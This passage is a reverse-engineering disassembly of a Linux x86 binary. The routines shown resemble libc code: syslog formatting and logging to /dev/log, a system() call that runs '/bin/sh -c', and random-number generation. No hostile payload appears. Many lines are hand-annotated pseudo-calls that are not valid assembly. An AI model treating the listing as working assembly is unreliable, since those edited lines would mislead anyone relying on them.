		lea	eax, [ebp+var_800]
		push	eax
		call	sub_0_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	loc_0_805511B
		lea	esi, [esi]

loc_0_8055068:				; CODE XREF: sub_0_8054EC8+1A4j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_0_8055068
		jmp	loc_0_805511B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055074:				; CODE XREF: sub_0_8054EC8+15Ej
		cmp	[ebp+var_C24], 25h
		jnz	short loc_0_80550FC
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx+1], 6Dh
		jnz	short loc_0_80550FC
		inc	edx
		mov	[ebp+arg_4], edx
		mov	eax, ebp
		sub	eax, ebx
		lea	edi, [eax-800h]
		call	itostr(var_c1c)
		call	snprintf(ebx,edi,'%s'eax)
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_80550B9
		cmp	eax, edi
		jle	short loc_0_80550EC

loc_0_80550B9:				; CODE XREF: sub_0_8054EC8+1EBj
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_0_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	short loc_0_80550DE
		nop	

loc_0_80550D8:				; CODE XREF: sub_0_8054EC8+214j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_0_80550D8

loc_0_80550DE:				; CODE XREF: sub_0_8054EC8+20Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_0_805511B
		nop	

loc_0_80550E4:				; CODE XREF: sub_0_8054EC8+220j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_80550E4
		jmp	short loc_0_805511B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80550EC:				; CODE XREF: sub_0_8054EC8+1EFj
		cmp	byte ptr [ebx],	0
		jz	short loc_0_8055105
		lea	esi, [esi+0]

loc_0_80550F4:				; CODE XREF: sub_0_8054EC8+230j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_80550F4
		jmp	short loc_0_8055105
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80550FC:				; CODE XREF: sub_0_8054EC8+151j
					; sub_0_8054EC8+1B3j ...
		mov	dl, [ebp+var_C24]
		mov	[ebx], dl
		inc	ebx

loc_0_8055105:				; CODE XREF: sub_0_8054EC8+176j
					; sub_0_8054EC8+227j ...
		inc	[ebp+arg_4]

loc_0_8055108:				; CODE XREF: sub_0_8054EC8+134j
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		mov	[ebp+var_C24], dl
		test	dl, dl
		jnz	loc_0_8055004

loc_0_805511B:				; CODE XREF: sub_0_8054EC8+144j
					; sub_0_8054EC8+198j ...
		mov	byte ptr [ebx],	0
		cmp	[ebp+var_C24], 0
		jz	short loc_0_805514E
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_0_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	short loc_0_805514E
		lea	esi, [esi+0]

loc_0_8055148:				; CODE XREF: sub_0_8054EC8+284j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_0_8055148

loc_0_805514E:				; CODE XREF: sub_0_8054EC8+25Dj
					; sub_0_8054EC8+27Bj
		mov	edi, ebp
		sub	edi, esi
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C00]
		push	eax
		push	edi
		push	esi
		call	sub_0_80628A8
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_8055170
		cmp	eax, edi
		jle	short loc_0_805518D

loc_0_8055170:				; CODE XREF: sub_0_8054EC8+2A2j
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_0_80553A0
		add	esp, 0Ch
		jmp	short loc_0_805518D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805518C:				; CODE XREF: sub_0_8054EC8+2C8j
		inc	esi

loc_0_805518D:				; CODE XREF: sub_0_8054EC8+2A6j
					; sub_0_8054EC8+2C1j
		cmp	byte ptr [esi],	0
		jnz	short loc_0_805518C
		lea	eax, [ebp+var_800]
		sub	esi, eax
		mov	[ebp+var_C18], esi
		test	byte ptr dword_0_8078898, 20h
		jz	short loc_0_80551EE
		mov	edx, [ebp+var_C20]
		mov	[ebp+var_C14], edx
		sub	edx, eax
		mov	eax, edx
		mov	edx, [ebp+var_C18]
		sub	edx, eax
		mov	[ebp+var_C10], edx
		mov	[ebp+var_C0C], offset asc_0_8067FB3 ; "\n"
		mov	[ebp+var_C08], 1
		push	2
		lea	eax, [ebp+var_C14]
		push	eax
		push	2
		call	sub_0_8056E70
		add	esp, 0Ch

loc_0_80551EE:				; CODE XREF: sub_0_8054EC8+2DFj
		lea	esi, [ebp+var_800]
		mov	ebx, [ebp+var_C18]
		add	ebx, esi

loc_0_80551FC:				; CODE XREF: sub_0_8054EC8+374j
		mov	eax, ebx
		sub	eax, esi
		inc	eax
		call	write(dword_0_8078894,esi,eax)
		test	eax, eax
		jge	short loc_0_8055238
		cmp	errno, 0Bh
		jz	short loc_0_8055227
		cmp	errno, 4
		jnz	short loc_0_805522C

loc_0_8055227:				; CODE XREF: sub_0_8054EC8+354j
		xor	eax, eax
		jmp	short loc_0_8055238
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805522C:				; CODE XREF: sub_0_8054EC8+35Dj
		push	0
		call	sub_0_8054E54
		add	esp, 4
		jmp	short loc_0_805523E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8055238:				; CODE XREF: sub_0_8054EC8+34Bj
					; sub_0_8054EC8+361j
		add	esi, eax
		cmp	esi, ebx
		jbe	short loc_0_80551FC

loc_0_805523E:				; CODE XREF: sub_0_8054EC8+36Ej
		cmp	esi, ebx
		ja	short loc_0_80552A1
		test	byte ptr dword_0_8078898, 2
		jz	short loc_0_80552A1
		call	open('/dev/console',O_WRONLY,0)
		mov	edi, eax
		test	edi, edi
		jl	short loc_0_80552A1
		call	strcat(var_800,'\r\n')
		add	[ebp+var_C18], 2
		call	strchr(ebx,'>')	; 3eh
		lea	esi, [eax+1]
		mov	eax, esi
		sub	eax, ebx
		mov	edx, [ebp+var_C18]
		sub	edx, eax
		call	write(edi,esi,edx)
		call	close(edi)

loc_0_80552A1:				; CODE XREF: sub_0_8054EC8+29j
					; sub_0_8054EC8+35j ...
		lea	esp, [ebp+var_C30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8054EC8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80552B0	proc near		; CODE XREF: .text:0804C43Bp
					; sub_0_8054EC8+5Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		test	edx, edx
		jz	short loc_0_80552C7
		mov	dword_0_807889C, edx

loc_0_80552C7:				; CODE XREF: sub_0_80552B0+Fj
		mov	dword_0_8078898, ecx
		test	eax, eax
		jz	short loc_0_80552DD
		test	eax, 0FFFFFC07h
		jnz	short loc_0_80552DD
		mov	dword_0_80788A0, eax

loc_0_80552DD:				; CODE XREF: sub_0_80552B0+1Fj
					; sub_0_80552B0+26j
		cmp	dword_0_8078894, 0FFFFFFFFh
		jnz	short loc_0_805532D
		mov	ds:word_0_807AC5C, 1
		call	strncpy(unk_0_807ac5e,'/dev/log',13)
		test	byte ptr dword_0_8078898, 8
		jz	short loc_0_8055324
		call	socket(AF_UNIX,SOCK_STREAM,0)
		mov	dword_0_8078894, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_805536A

loc_0_8055324:				; CODE XREF: sub_0_80552B0+5Aj
		cmp	dword_0_8078894, 0FFFFFFFFh
		jz	short loc_0_805536A

loc_0_805532D:				; CODE XREF: sub_0_80552B0+34j
		cmp	ds:dword_0_807AC58, 0
		jnz	short loc_0_805536A
		mov	eax, strlen(offset unk_0_807AC5E)+2
		call	connect(dword_0_8078894,word_0_807ac5c,eax)
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_805536A
		mov	ds:dword_0_807AC58, 1

loc_0_805536A:				; CODE XREF: sub_0_80552B0+72j
					; sub_0_80552B0+7Bj ...
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80552B0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_0_8054E54
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, dword_0_80788A4
		test	edx, edx
		jz	short loc_0_8055399
		mov	dword_0_80788A4, edx

loc_0_8055399:				; CODE XREF: .text:08055391j
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80553A0	proc near		; CODE XREF: sub_0_8054EC8+18Dp
					; sub_0_8054EC8+202p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jz	loc_0_80555A4
		cmp	[ebp+arg_8], 0
		jz	loc_0_80555A4
		call	strlen(arg_8)
		lea	edi, eax
		test	edi, edi
		jz	loc_0_80555A4
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx],	3Ch ; '<'
		jnz	short loc_0_8055431
		movzx	edx, byte ptr [ebx+1]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_0_8055431
		cmp	byte ptr [ebx+2], 3Eh
		jnz	short loc_0_80553FC
		add	ebx, 3
		jmp	short loc_0_8055431
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80553FC:				; CODE XREF: sub_0_80553A0+55j
		movzx	edx, byte ptr [ebx+2]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_0_8055431
		cmp	byte ptr [ebx+3], 3Eh
		jnz	short loc_0_8055418
		add	ebx, 4
		jmp	short loc_0_8055431
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055418:				; CODE XREF: sub_0_80553A0+70j
		movzx	edx, byte ptr [ebx+3]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_0_8055431
		cmp	byte ptr [ebx+4], 3Eh '>'
		jnz	short loc_0_8055431
		add	ebx, 5

loc_0_8055431:				; CODE XREF: sub_0_80553A0+3Fj
					; sub_0_80553A0+4Fj ...
		movzx	eax, byte ptr [ebx]
		mov	edx, tableBit
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_0_80554E8
		movzx	eax, byte ptr [ebx+1]
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_0_80554E8
		movzx	eax, byte ptr [ebx+2]
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_0_80554E8
		cmp	byte ptr [ebx+3], 20h
		jnz	short loc_0_80554E8
		cmp	byte ptr [ebx+4], 20h
		jz	short loc_0_805547A
		movzx	eax, byte ptr [ebx+4]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_80554E8

loc_0_805547A:				; CODE XREF: sub_0_80553A0+CDj
		movzx	eax, byte ptr [ebx+5]
		mov	edx, tableBit
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_80554E8
		cmp	byte ptr [ebx+6], 20h  ' '
		jnz	short loc_0_80554E8
		movzx	eax, byte ptr [ebx+7]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_80554E8
		movzx	eax, byte ptr [ebx+8]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_80554E8
		cmp	byte ptr [ebx+9], 3Ah ; ':'
		jnz	short loc_0_80554E8
		movzx	eax, byte ptr [ebx+0Ah]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_80554E8
		movzx	eax, byte ptr [ebx+0Bh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_80554E8
		cmp	byte ptr [ebx+0Ch], 3Ah ':'
		jnz	short loc_0_80554E8
		movzx	eax, byte ptr [ebx+0Dh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_80554E8
		movzx	eax, byte ptr [ebx+0Eh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_0_80554E8
		cmp	byte ptr [ebx+0Fh], 20h ' '
		jnz	short loc_0_80554E8
		add	ebx, 10h

loc_0_80554E8:				; CODE XREF: sub_0_80553A0+9Fj
					; sub_0_80553A0+AEj ...
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		sub	esi, eax
		mov	[ebp+var_4], esi
		mov	eax, esi
		dec	eax
		cmp	edi, eax
		jl	short loc_0_8055514
		call	memmove2(arg_8,ebx,eax)
		mov	esi, [ebp+var_4]
		mov	byte ptr [ebx+esi-1], 0
		jmp	loc_0_80555A4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8055514:				; CODE XREF: sub_0_80553A0+15Aj
		call	bcmp(ebx,arg_8,edi)
		test	eax, eax
		jz	short loc_0_80555A4
		mov	esi, [ebp+var_4]
		lea	eax, [ebx+esi-1]
		sub	eax, edi
		mov	byte ptr [eax],	0
		call	strchr(ebx,0)
		mov	ecx, eax
		cmp	ecx, ebx
		jb	short loc_0_8055599
		lea	edx, [ebx-1]
		mov	eax, edx
		sub	eax, ecx
		and	eax, 3
		cmp	ecx, edx
		jle	short loc_0_805556B
		test	eax, eax
		jz	short loc_0_8055578
		cmp	eax, 3
		jge	short loc_0_805556B
		cmp	eax, 2
		jge	short loc_0_8055565
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx

loc_0_8055565:				; CODE XREF: sub_0_80553A0+1BDj
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx

loc_0_805556B:				; CODE XREF: sub_0_80553A0+1AFj
					; sub_0_80553A0+1B8j
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx
		cmp	ecx, ebx
		jb	short loc_0_8055599
		lea	esi, [esi+0]

loc_0_8055578:				; CODE XREF: sub_0_80553A0+1B3j
					; sub_0_80553A0+1F7j
		mov	al, [ecx]
		mov	[edi+ecx], al
		mov	al, [ecx-1]
		mov	[edi+ecx-1], al
		mov	al, [ecx-2]
		mov	[edi+ecx-2], al
		mov	al, [ecx-3]
		mov	[edi+ecx-3], al
		add	ecx, 0FFFFFFFCh
		cmp	ecx, ebx
		jnb	short loc_0_8055578

loc_0_8055599:				; CODE XREF: sub_0_80553A0+1A1j
					; sub_0_80553A0+1D3j
		call	memmove2(arg_8,ebx,edi)

loc_0_80555A4:				; CODE XREF: sub_0_80553A0+Dj
					; sub_0_80553A0+17j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80553A0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80557E8	proc near		; CODE XREF: sub_0_8048134+4DDp
					; sub_0_8048134+A18p

var_58		= byte ptr -58h
status		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jnz	short loc_0_8055804
		mov	eax, 1
		jmp	loc_0_8055993
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055804:				; CODE XREF: sub_0_80557E8+Ej
		mov	[ebp+var_10], 1
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		call	sigaction(SIGINT,var_10,var_20)
		test	eax, eax
		jl	short loc_0_80558AA
		call	sigaction(SIGQUIT,var_10,var_30)
		test	eax, eax
		jge	short loc_0_8055858
		mov	ebx, errno
		sigaction(SIGINT,var_20,0)
		jmp	short loc_0_805589F
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055858:				; CODE XREF: sub_0_80557E8+5Bj
		mov	[ebp+var_34], 10000h
		mov	ebx, errno
		call	sigprocmask(SIG_BLOCK,var_34,var_38)
		test	eax, eax
		jge	short loc_0_80558BA
		cmp	errno, 26h
		jz	short loc_0_80558B4
		mov	ebx, errno
		call	sigaction(SIGINT,var_20,0)
		sigaction(SIGQUIT,var_30,0)

loc_0_805589F:				; CODE XREF: sub_0_80557E8+6Bj
		mov	errno, ebx

loc_0_80558AA:				; CODE XREF: sub_0_80557E8+45j
					; sub_0_80557E8+19Cj
		mov	eax, 0FFFFFFFFh
		jmp	loc_0_8055993
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80558B4:				; CODE XREF: sub_0_80557E8+9Aj
		mov	errno, ebx

loc_0_80558BA:				; CODE XREF: sub_0_80557E8+91j
		call	fork
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_0_8055924
		mov	[ebp+var_48], offset aSh_0 ; "sh"
		mov	[ebp+var_44], offset aC_0 ; "-c"
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], 0
		call	sigaction(SIGINT,var_20,0)
		call	sigaction(SIGQUIT,var_30,0)
		call	sigprocmask(SIG_SETMASK,var_38,0)
		call	execve('/bin/sh',var_48,dword_0_806d228)
		call	_exit(127)

loc_0_8055924:				; CODE XREF: sub_0_80557E8+DBj
		test	ebx, ebx
		jl	short loc_0_805593B
		call	waitpid(ebx,status,0)
		add	esp, 0Ch
		cmp	eax, ebx
		jz	short loc_0_8055942

loc_0_805593B:				; CODE XREF: sub_0_80557E8+13Ej
		mov	[ebp+status], 0FFFFFFFFh

loc_0_8055942:				; CODE XREF: sub_0_80557E8+151j
		mov	ebx, errno
		call	sigaction(SIGINT,var_20,0)
		mov	edi, eax
		call	sigaction(SIGQUIT,var_30,0)
		mov	esi, eax
		call	sigprocmask(SIG_SETMASK,var_38,0)
		mov	edx, eax
		mov	eax, edi
		or	eax, esi
		or	eax, edx
		jz	short loc_0_8055990
		cmp	errno, 26h
		jnz	loc_0_80558AA
		mov	errno, ebx

loc_0_8055990:				; CODE XREF: sub_0_80557E8+193j
		mov	eax, [ebp+status]

loc_0_8055993:				; CODE XREF: sub_0_80557E8+15j
					; sub_0_80557E8+C7j
		lea	esp, [ebp+var_58]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80557E8	endp


; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ecx, [ebp+10h]
		mov	ebx, dword_0_8078958
		add	ebx, 0FFFFFFFCh
		cmp	dword_0_807895C, 0
		jnz	short loc_0_8055BE8
		mov	eax, dword_0_8078958
		mov	dword ptr [eax-4], 0
		jmp	short loc_0_8055C04
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8055BE8:				; CODE XREF: .text:08055BD8j
		mov	edx, dword_0_8078958
		mov	eax, dword_0_8078954
		sub	eax, edx
		sar	eax, 2
		lea	eax, [eax+eax*4]
		add	eax, dword_0_807895C
		mov	[edx-4], eax

loc_0_8055C04:				; CODE XREF: .text:08055BE6j
		cmp	ecx, 1Fh
		ja	short loc_0_8055C44
		cmp	ecx, 7
		ja	short loc_0_8055C20
		mov	errno, 16h
		xor	eax, eax
		jmp	loc_0_8055D2E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055C20:				; CODE XREF: .text:08055C0Cj
		mov	dword_0_807895C, 0
		mov	dword_0_8078960, 0
		mov	dword_0_8078964, 0
		jmp	loc_0_8055CCE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055C44:				; CODE XREF: .text:08055C07j
		cmp	ecx, 3Fh
		ja	short loc_0_8055C6C
		mov	dword_0_807895C, 1
		mov	dword_0_8078960, 7
		mov	dword_0_8078964, 3
		jmp	short loc_0_8055CCE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055C6C:				; CODE XREF: .text:08055C47j
		cmp	ecx, 7Fh
		ja	short loc_0_8055C88
		mov	dword_0_807895C, 2
		mov	dword_0_8078960, 0Fh
		jmp	short loc_0_8055CC4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055C88:				; CODE XREF: .text:08055C6Fj
		cmp	ecx, 0FFh
		ja	short loc_0_8055CB0
		mov	dword_0_807895C, 3
		mov	dword_0_8078960, 1Fh
		mov	dword_0_8078964, 3
		jmp	short loc_0_8055CCE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8055CB0:				; CODE XREF: .text:08055C8Ej
		mov	dword_0_807895C, 4
		mov	dword_0_8078960, 3Fh

loc_0_8055CC4:				; CODE XREF: .text:08055C85j
		mov	dword_0_8078964, 1

loc_0_8055CCE:				; CODE XREF: .text:08055C3Ej
					; .text:08055C67j ...
		mov	edi, [ebp+0Ch]
		add	edi, 4
		mov	dword_0_8078958, edi
		mov	edi, dword_0_8078960
		lea	eax, ds:0[edi*4]
		add	eax, dword_0_8078958
		mov	dword_0_8078968, eax
		call	rand(esi)
		cmp	dword_0_807895C, 0
		jnz	short loc_0_8055D10
		mov	eax, dword_0_8078958
		mov	dword ptr [eax-4], 0
		jmp	short loc_0_8055D2C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055D10:				; CODE XREF: .text:08055CFFj
		mov	edx, dword_0_8078958
		mov	eax, dword_0_8078954
		sub	eax, edx
		sar	eax, 2
		lea	eax, [eax+eax*4]
		add	eax, dword_0_807895C
		mov	[edx-4], eax

loc_0_8055D2C:				; CODE XREF: .text:08055D0Dj
		mov	eax, ebx

loc_0_8055D2E:				; CODE XREF: .text:08055C1Aj
		lea	esp, [ebp-0Ch]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx]
		mov	edi, 5
		cdq	
		idiv	edi
		mov	ecx, edx
		mov	esi, eax
		mov	edx, dword_0_8078958
		add	edx, 0FFFFFFFCh
		mov	[ebp-4], edx
		cmp	dword_0_807895C, 0
		jnz	short loc_0_8055D78
		mov	eax, dword_0_8078958
		mov	dword ptr [eax-4], 0
		jmp	short loc_0_8055D94
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055D78:				; CODE XREF: .text:08055D65j
		mov	edx, dword_0_8078958
		mov	eax, dword_0_8078954
		sub	eax, edx
		sar	eax, 2
		lea	eax, [eax+eax*4]
		add	eax, dword_0_807895C
		mov	[edx-4], eax

loc_0_8055D94:				; CODE XREF: .text:08055D73j
		cmp	ecx, 4
		jg	short loc_0_8055DC0
		test	ecx, ecx
		jl	short loc_0_8055DC0
		mov	dword_0_807895C, ecx
		mov	eax, dword_0_80788A8[ecx*4]
		mov	dword_0_8078960, eax
		mov	eax, dword_0_80788BC[ecx*4]
		mov	dword_0_8078964, eax
		jmp	short loc_0_8055DD0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055DC0:				; CODE XREF: .text:08055D97j
					; .text:08055D9Bj
		mov	errno, 16h
		xor	eax, eax
		jmp	short loc_0_8055E2C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8055DD0:				; CODE XREF: .text:08055DBBj
		add	ebx, 4
		mov	dword_0_8078958, ebx
		cmp	dword_0_807895C, 0
		jz	short loc_0_8055E11
		lea	eax, ds:0[esi*4]
		add	eax, ebx
		mov	dword_0_8078954, eax
		mov	eax, esi
		add	eax, dword_0_8078964
		cdq	
		idiv	dword_0_8078960
		lea	eax, ds:0[edx*4]
		add	eax, dword_0_8078958
		mov	dword_0_8078950, eax

loc_0_8055E11:				; CODE XREF: .text:08055DE0j
		mov	edi, dword_0_8078960
		lea	eax, ds:0[edi*4]
		add	eax, dword_0_8078958
		mov	dword_0_8078968, eax
		mov	eax, [ebp-4]

loc_0_8055E2C:				; CODE XREF: .text:08055DCCj
		lea	esp, [ebp-10h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8055E38	proc near		; CODE XREF: sub_0_8049174+163p
					; sub_0_8049174+1C4p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_0_807895C, 0
		jnz	short loc_0_8055E68
		mov	eax, dword_0_8078958
		imul	edx, [eax], 41C64E6Dh
		add	edx, 3039h
		and	edx, 7FFFFFFFh
		mov	[eax], edx
		mov	eax, dword_0_8078958
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8055E68:				; CODE XREF: sub_0_8055E38+Aj
		mov	edx, dword_0_8078950
		mov	eax, dword_0_8078954
		mov	eax, [eax]
		add	[edx], eax
		mov	eax, dword_0_8078950
		mov	edx, [eax]
		shr	edx, 1
		add	dword_0_8078950, 4
		mov	eax, dword_0_8078950
		cmp	dword_0_8078968, eax
		ja	short loc_0_8055EA8
		mov	eax, dword_0_8078958
		mov	dword_0_8078950, eax
